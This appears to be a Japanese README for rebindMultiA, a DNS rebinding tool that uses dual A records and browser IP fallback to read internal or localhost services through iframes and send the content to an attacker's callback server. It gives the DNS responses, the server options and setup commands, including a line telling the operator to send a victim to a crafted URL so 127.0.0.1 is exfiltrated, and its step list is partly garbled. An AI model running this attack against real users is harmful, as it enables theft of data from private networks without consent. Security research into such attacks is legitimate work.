
複数のAレコードを悪用して同一生成元ポリシーをバイパスし、ブラウザのフォールバック動作を介して内部ネットワークサービスからデータを流出させるDNSリバインディング攻撃ツール。
rebindMultiAは、複数のAレコードを使用したリバインド攻撃を実行するツールです。
rebindmultia.comは、これらの攻撃を支援するために私が設定したドメインです。このドメインは、すべてのIPを[IP].ns.rebindmultia.comドメインの権威ネームサーバーにします。例えば、13.33.33.37.ns.rebindmultia.comの権威ネームサーバーは13.33.33.37.ip.rebindmultia.comであり、(お察しの通り)13.33.33.37に解決されます。
MultiAレコードリバインディング攻撃は、DNSリバインディングの一種であり、攻撃者がDNSリクエストに対して2つのIPアドレスで応答できる能力と、最初のIPが応答しない場合にブラウザがDNS応答の2番目のIPにフォールバックする傾向を武器にします。この攻撃では、攻撃者は悪意のあるDNSサーバーと2つの悪意のあるHTTPサーバーを設定します。DNSサーバーは2つのAレコードで応答します:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
被害者のブラウザは最初のIPに接続し、攻撃者の最初の悪意のあるHTTPサーバーとの対話を開始します。このサーバーは、2つのiframe(1つは/steal、もう1つは/rebind)を含むページで応答します。/steal iframeは悪意のあるページを読み込み、2番目のiframeにアクセスしてコンテンツを取得します。/rebindエンドポイントにアクセスすると、302リダイレクトで/に転送され、最初の悪意のあるHTTPサーバーが終了します。その結果、ブラウザが攻撃者のHTTPサーバーに再度アクセスしようとすると、閉じたポートに遭遇します。そのため、2番目のIPにフォールバックします。ターゲットコンテンツが2番目のiframeにロードされると、最初のiframeがそのコンテンツにアクセスしてデータを盗み、攻撃者の2番目の悪意のあるHTTPサーバー(コールバックサーバー)に流出させます。
この攻撃はWindows環境でのみ機能します。 LinuxとMacでは最初にプライベートIPがデフォルトで使用され、攻撃者のサーバーに問い合わせが行われることはありません。

127.0.0.1.target.13.33.33.37.ns.rebindmultia.comを解決します。server.pyに含まれている)は要求されたDNS名を解析し、2つのAレコード13.33.33.37と127.0.0.1を返します。server.pyに含まれている)にアクセスし、2つのiframeを含む/parentページを読み込みます。/stealを読み込みます。/rebindを読み込み、これにより/への302リダイレクトが発生します(HTTPサーバーはこのリクエスト後に終了します)。302に従って/にリダイレクトします。/を読み込もうとしますが、失敗します。127.0.0.1に解決します。そしてそのサーバーにアクセスし、iframe内のページを読み込みます。pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Specify port to attack on targetIp. Default: 80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
Specify the callback HTTP server port. Default: 31337
-d DNS_PORT, --dns-port DNS_PORT
Specify the DNS server port. Default: 53
-f FILE, --file FILE Specify the HTML file to display in the first iframe.(The "steal" iframe). Default: steal.html
-l LOCATION, --location LOCATION
Specify the location of the data you'd like to steal on the target. Default: /
このエラーが発生した場合:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
より新しいバージョンのPython(Python 3.7以上)を使用する必要があります。
これは公開アクセス可能なIPから実行する必要があります。
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py
steal iframeは新しく読み込まれた2番目のiframeにアクセスし、コンテンツを取得します。steal iframeは結果を攻撃者のコールバックサーバーに送り返します。